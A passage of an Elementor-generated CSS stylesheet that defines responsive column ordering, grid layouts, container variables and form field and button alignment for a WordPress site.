} @media (min-width: 1025px) and (max-width: -1) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: -1) and (max-width: -1) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: 1025px) and (max-width: -1) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: initial; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: 768px) and (max-width: 1024px) { .elementor-reverse-tablet > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-tablet > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-tablet > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-tablet > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: -1) and (max-width: 1024px) { .elementor-reverse-tablet > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-tablet > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-tablet > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-tablet > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: 768px) and (max-width: -1) { .elementor-reverse-tablet > .elementor-container > :nth-child(1) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(2) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(3) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(4) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(5) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(6) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(7) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(8) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(9) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(10) { order: initial; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(10) { order: 1; } } @media (max-width: 767px) { .elementor-reverse-mobile > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-mobile > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-mobile > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-mobile > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-mobile > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-mobile > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-mobile > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-mobile > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-mobile > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-mobile > .elementor-container > :nth-child(10) { order: 1; } .elementor-column { width: 100%; } } ul.elementor-icon-list-items.elementor-inline-items { display: flex; flex-wrap: wrap; } ul.elementor-icon-list-items.elementor-inline-items .elementor-inline-item { word-break: break-word; } .elementor-grid { display: grid; grid-column-gap: var(--grid-column-gap); grid-row-gap: var(--grid-row-gap); } .elementor-grid .elementor-grid-item { min-width: 0; } .elementor-grid-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } @media (min-width: -1) { .elementor-grid-widescreen-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-widescreen-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-widescreen-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-widescreen-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-widescreen-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-widescreen-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-widescreen-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-widescreen-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-widescreen-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-widescreen-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-widescreen-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-widescreen-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-widescreen-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-widescreen-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: -1) { .elementor-grid-laptop-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-laptop-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-laptop-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-laptop-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-laptop-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-laptop-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-laptop-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-laptop-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-laptop-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-laptop-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-laptop-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-laptop-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-laptop-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-laptop-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: -1) { .elementor-grid-tablet_extra-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-tablet_extra-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-tablet_extra-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-tablet_extra-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-tablet_extra-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-tablet_extra-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-tablet_extra-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-tablet_extra-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-tablet_extra-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-tablet_extra-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-tablet_extra-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-tablet_extra-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-tablet_extra-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-tablet_extra-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: 1024px) { .elementor-grid-tablet-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-tablet-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-tablet-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-tablet-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-tablet-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-tablet-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-tablet-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-tablet-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-tablet-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-tablet-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-tablet-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-tablet-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-tablet-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-tablet-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: -1) { .elementor-grid-mobile_extra-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-mobile_extra-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-mobile_extra-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-mobile_extra-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-mobile_extra-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-mobile_extra-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-mobile_extra-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-mobile_extra-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-mobile_extra-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-mobile_extra-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-mobile_extra-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-mobile_extra-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-mobile_extra-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-mobile_extra-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: 767px) { .elementor-grid-mobile-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-mobile-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-mobile-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-mobile-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-mobile-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-mobile-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-mobile-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-mobile-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-mobile-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-mobile-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-mobile-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-mobile-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-mobile-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-mobile-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (min-width: 1025px) { #elementor-device-mode:after { content: "desktop"; } } @media (min-width: -1) { #elementor-device-mode:after { content: "widescreen"; } } @media (max-width: -1) { #elementor-device-mode:after { content: "laptop"; } } @media (max-width: -1) { #elementor-device-mode:after { content: "tablet_extra"; } } @media (max-width: 1024px) { #elementor-device-mode:after { content: "tablet"; } } @media (max-width: -1) { #elementor-device-mode:after { content: "mobile_extra"; } } @media (max-width: 767px) { #elementor-device-mode:after { content: "mobile"; } } .e-con { --border-radius: 0; --border-top-width: 0px; --border-right-width: 0px; --border-bottom-width: 0px; --border-left-width: 0px; --border-style: initial; --border-color: initial; --container-widget-width: 100%; --container-widget-height: initial; --container-widget-flex-grow: 0; --container-widget-align-self: initial; --content-width: min(100%, var(--container-max-width, 1140px)); --width: 100%; --min-height: initial; --height: auto; --text-align: initial; --margin-top: 0px; --margin-right: 0px; --margin-bottom: 0px; --margin-left: 0px; --padding-top: var(--container-default-padding-top, 10px); --padding-right: var(--container-default-padding-right, 10px); --padding-bottom: var(--container-default-padding-bottom, 10px); --padding-left: var(--container-default-padding-left, 10px); --position: relative; --z-index: revert; --overflow: visible; --gap: var(--widgets-spacing, 20px); --overlay-mix-blend-mode: initial; --overlay-opacity: 1; --overlay-transition: 0.3s; --e-con-grid-template-columns: repeat(3, 1fr); --e-con-grid-template-rows: repeat(2, 1fr); position: var(--position); width: var(--width); min-width: 0; min-height: var(--min-height); height: var(--height); border-radius: var(--border-radius); z-index: var(--z-index); overflow: var(--overflow); transition: background var(--background-transition, 0.3s), border var(--border-transition, 0.3s), box-shadow var(--border-transition, 0.3s), transform var(--e-con-transform-transition-duration, 0.4s); --flex-wrap-mobile: wrap; margin-block-start: var(--margin-block-start); margin-inline-end: var(--margin-inline-end); margin-block-end: var(--margin-block-end); margin-inline-start: var(--margin-inline-start); padding-inline-start: var(--padding-inline-start); padding-inline-end: var(--padding-inline-end); } .e-con { --margin-block-start: var(--margin-top); --margin-block-end: var(--margin-bottom); --margin-inline-start: var(--margin-left); --margin-inline-end: var(--margin-right); --padding-inline-start: var(--padding-left); --padding-inline-end: var(--padding-right); --padding-block-start: var(--padding-top); --padding-block-end: var(--padding-bottom); --border-block-start-width: var(--border-top-width); --border-block-end-width: var(--border-bottom-width); --border-inline-start-width: var(--border-left-width); --border-inline-end-width: var(--border-right-width); } body.rtl .e-con { --padding-inline-start: var(--padding-right); --padding-inline-end: var(--padding-left); --margin-inline-start: var(--margin-right); --margin-inline-end: var(--margin-left); --border-inline-start-width: var(--border-right-width); --border-inline-end-width: var(--border-left-width); } .e-con.e-flex { --flex-direction: column; --flex-basis: auto; --flex-grow: 0; --flex-shrink: 1; flex: var(--flex-grow) var(--flex-shrink) var(--flex-basis); } .e-con-full, .e-con > .e-con-inner { text-align: var(--text-align); padding-block-start: var(--padding-block-start); padding-block-end: var(--padding-block-end); } .e-con-full.e-flex, .e-con.e-flex > .e-con-inner { flex-direction: var(--flex-direction); } .e-con, .e-con > .e-con-inner { display: var(--display); } .e-con.e-grid { --grid-justify-content: start; --grid-align-content: start; --grid-auto-flow: row; } .e-con.e-grid, .e-con.e-grid > .e-con-inner { grid-template-columns: var(--e-con-grid-template-columns); grid-template-rows: var(--e-con-grid-template-rows); justify-content: var(--grid-justify-content); align-content: var(--grid-align-content); grid-auto-flow: var(--grid-auto-flow); justify-items: var(--justify-items); align-items: var(--align-items); } .e-con-boxed.e-flex { flex-direction: column; flex-wrap: initial; justify-content: initial; align-items: initial; align-content: initial; } .e-con-boxed.e-grid { justify-items: initial; grid-template-columns: 1fr; grid-template-rows: 1fr; } .e-con-boxed { text-align: initial; gap: initial; } .e-con.e-flex > .e-con-inner { flex-wrap: var(--flex-wrap); justify-content: var(--justify-content); align-items: var(--align-items); align-content: var(--align-content); flex-basis: initial; flex-grow: 1; flex-shrink: initial; align-self: initial; } .e-con.e-grid > .e-con-inner { justify-items: var(--justify-items); align-items: var(--align-items); } .e-con > .e-con-inner { gap: var(--gap); width: 100%; max-width: var(--content-width); margin: 0 auto; padding-inline-start: 0; padding-inline-end: 0; height: 100%; } :is(.elementor-section-wrap, [data-elementor-id]) > .e-con { --margin-left: auto; --margin-right: auto; max-width: min(100%, var(--width)); } .e-con .elementor-widget.elementor-widget { margin-block-end: 0; } .e-con::before, :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container::before, .e-con > .elementor-motion-effects-container > .elementor-motion-effects-layer::before, .e-con > .elementor-background-slideshow::before { content: var(--background-overlay); display: block; position: absolute; mix-blend-mode: var(--overlay-mix-blend-mode); opacity: var(--overlay-opacity); transition: var(--overlay-transition, 0.3s); border-radius: var(--border-radius); border-style: var(--border-style); border-color: var(--border-color); border-block-start-width: var(--border-block-start-width); border-inline-end-width: var(--border-inline-end-width); border-block-end-width: var(--border-block-end-width); border-inline-start-width: var(--border-inline-start-width); top: calc(0px - var(--border-top-width)); left: calc(0px - var(--border-left-width)); width: max(100% + var(--border-left-width) + var(--border-right-width), 100%); height: max(100% + var(--border-top-width) + var(--border-bottom-width), 100%); } .e-con::before { transition: background var(--overlay-transition, 0.3s), border-radius var(--border-transition, 0.3s), opacity var(--overlay-transition, 0.3s); } .e-con > .elementor-background-slideshow, :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container { border-radius: var(--border-radius); border-style: var(--border-style); border-color: var(--border-color); border-block-start-width: var(--border-block-start-width); border-inline-end-width: var(--border-inline-end-width); border-block-end-width: var(--border-block-end-width); border-inline-start-width: var(--border-inline-start-width); top: calc(0px - var(--border-top-width)); left: calc(0px - var(--border-left-width)); width: max(100% + var(--border-left-width) + var(--border-right-width), 100%); height: max(100% + var(--border-top-width) + var(--border-bottom-width), 100%); } @media (max-width: 767px) { :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container.elementor-hidden-phone { display: none; } } :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container::before { z-index: 1; } :is(.e-con, .e-con > .e-con-inner) > .elementor-background-slideshow::before { z-index: 2; } .e-con .elementor-widget { min-width: 0; } .e-con .elementor-widget-video, .e-con .elementor-widget-google_maps, .e-con .elementor-widget-empty { width: 100%; } .e-con .elementor-widget.e-widget-swiper { width: 100%; } .e-con > .elementor-widget > .elementor-widget-container, .e-con > .e-con-inner > .elementor-widget > .elementor-widget-container { height: 100%; } .elementor.elementor .e-con > .elementor-widget, .e-con.e-con > .e-con-inner > .elementor-widget { max-width: 100%; } @media (max-width: 767px) { .e-con.e-flex { --width: 100%; --flex-wrap: var(--flex-wrap-mobile); } } .elementor-form-fields-wrapper { display: flex; flex-wrap: wrap; } .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group > input, .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group > textarea, .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group > .elementor-select-wrapper, .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group .elementor-field-subgroup { flex-basis: 100%; max-width: 100%; } .elementor-form-fields-wrapper.elementor-labels-inline > .elementor-field-group > input, .elementor-form-fields-wrapper.elementor-labels-inline > .elementor-field-group .elementor-select-wrapper { flex-grow: 1; } .elementor-field-group { flex-wrap: wrap; align-items: center; } .elementor-field-group.elementor-field-type-submit { align-items: flex-end; } .elementor-field-group .elementor-field-textual { width: 100%; max-width: 100%; border: 1px solid #69727D; background-color: transparent; color: #1f2124; vertical-align: middle; flex-grow: 1; } .elementor-field-group .elementor-field-textual:focus { box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.1) inset; outline: 0; } .elementor-field-group .elementor-field-textual::-moz-placeholder { color: inherit; font-family: inherit; opacity: 0.6; } .elementor-field-group .elementor-field-textual::placeholder { color: inherit; font-family: inherit; opacity: 0.6; } .elementor-field-group .elementor-select-wrapper { display: flex; position: relative; width: 100%; } .elementor-field-group .elementor-select-wrapper select { -webkit-appearance: none; -moz-appearance: none; appearance: none; color: inherit; font-size: inherit; font-family: inherit; font-weight: inherit; font-style: inherit; text-transform: inherit; letter-spacing: inherit; line-height: inherit; flex-basis: 100%; padding-inline-end: 20px; } .elementor-field-group .elementor-select-wrapper:before { content: "\e92a"; font-family: "eicons"; font-size: 15px; position: absolute; top: 50%; transform: translateY(-50%); left: 10px; pointer-events: none; text-shadow: 0 0 3px rgba(0, 0, 0, 0.3); } .elementor-field-group.elementor-field-type-select-multiple .elementor-select-wrapper:before { content: ""; } .elementor-field-subgroup { display: flex; flex-wrap: wrap; } .elementor-field-subgroup .elementor-field-option label { display: inline-block; } .elementor-field-subgroup.elementor-subgroup-inline .elementor-field-option { padding-inline-end: 10px; } .elementor-field-subgroup:not(.elementor-subgroup-inline) .elementor-field-option { flex-basis: 100%; } .elementor-field-type-checkbox .elementor-field-subgroup .elementor-field-option input, .elementor-field-type-checkbox .elementor-field-subgroup .elementor-field-option label, .elementor-field-type-radio .elementor-field-subgroup .elementor-field-option input, .elementor-field-type-radio .elementor-field-subgroup .elementor-field-option label, .elementor-field-type-acceptance .elementor-field-subgroup .elementor-field-option input, .elementor-field-type-acceptance .elementor-field-subgroup .elementor-field-option label { display: inline; } .elementor-field-label { cursor: pointer; } .elementor-mark-required .elementor-field-label:after { content: "*"; color: red; padding-inline-start: 0.2em; } .elementor-field-textual { line-height: 1.4; font-size: 15px; min-height: 40px; padding: 5px 14px; border-radius: 3px; } .elementor-field-textual.elementor-size-xs { font-size: 13px; min-height: 33px; padding: 4px 12px; border-radius: 2px; } .elementor-field-textual.elementor-size-md { font-size: 16px; min-height: 47px; padding: 6px 16px; border-radius: 4px; } .elementor-field-textual.elementor-size-lg { font-size: 18px; min-height: 59px; padding: 7px 20px; border-radius: 5px; } .elementor-field-textual.elementor-size-xl { font-size: 20px; min-height: 72px; padding: 8px 24px; border-radius: 6px; } .elementor-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: 100%; } .elementor-button-align-stretch .e-form__buttons__wrapper { flex-basis: 50%; flex-grow: 1; } .elementor-button-align-stretch .e-form__buttons__wrapper__button { flex-basis: 100%; } .elementor-button-align-center .elementor-field-type-submit, .elementor-button-align-center .e-form__buttons { justify-content: center; } .elementor-button-align-start .elementor-field-type-submit, .elementor-button-align-start .e-form__buttons { justify-content: flex-end; } .elementor-button-align-end .elementor-field-type-submit, .elementor-button-align-end .e-form__buttons { justify-content: flex-start; } .elementor-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: initial; } .elementor-button-align-center .e-form__buttons__wrapper, .elementor-button-align-start .e-form__buttons__wrapper, .elementor-button-align-end .e-form__buttons__wrapper { flex-grow: initial; } .elementor-button-align-center .e-form__buttons__wrapper, .elementor-button-align-center .e-form__buttons__wrapper__button, .elementor-button-align-start .e-form__buttons__wrapper, .elementor-button-align-start .e-form__buttons__wrapper__button, .elementor-button-align-end .e-form__buttons__wrapper, .elementor-button-align-end .e-form__buttons__wrapper__button { flex-basis: initial; } @media screen and (max-width: 1024px) { .elementor-tablet-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: 100%; } .elementor-tablet-button-align-stretch .e-form__buttons__wrapper { flex-basis: 50%; flex-grow: 1; } .elementor-tablet-button-align-stretch .e-form__buttons__wrapper__button { flex-basis: 100%; } .elementor-tablet-button-align-center .elementor-field-type-submit, .elementor-tablet-button-align-center .e-form__buttons { justify-content: center; } .elementor-tablet-button-align-start .elementor-field-type-submit, .elementor-tablet-button-align-start .e-form__buttons { justify-content: flex-end; } .elementor-tablet-button-align-end .elementor-field-type-submit, .elementor-tablet-button-align-end .e-form__buttons { justify-content: flex-start; } .elementor-tablet-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-tablet-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-tablet-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: initial; } .elementor-tablet-button-align-center .e-form__buttons__wrapper, .elementor-tablet-button-align-start .e-form__buttons__wrapper, .elementor-tablet-button-align-end .e-form__buttons__wrapper { flex-grow: initial; } .elementor-tablet-button-align-center .e-form__buttons__wrapper, .elementor-tablet-button-align-center .e-form__buttons__wrapper__button, .elementor-tablet-button-align-start .e-form__buttons__wrapper, .elementor-tablet-button-align-start .e-form__buttons__wrapper__button, .elementor-tablet-button-align-end .e-form__buttons__wrapper, .elementor-tablet-button-align-end .e-form__buttons__wrapper__button { flex-basis: initial; } } @media screen and (max-width: 767px) { .elementor-mobile-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: 100%; } .elementor-mobile-button-align-stretch .e-form__buttons__wrapper { flex-basis: 50%; flex-grow: 1; } .elementor-mobile-button-align-stretch .e-form__buttons__wrapper__button { flex-basis: 100%; } .elementor-mobile-button-align-center .elementor-field-type-submit, .elementor-mobile-button-align-center .e-form__buttons { justify-content: center; } .elementor-mobile-button-align-start .elementor-field-type-submit, .elementor-mobile-button-align-start .e-form__buttons { justify-content: flex-end; } .elementor-mobile-button-align-end .elementor-field-type-submit, .elementor-mobile-button-align-end .e-form__buttons { justify-content: flex-start; } .elementor-mobile-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-mobile-button-align-start 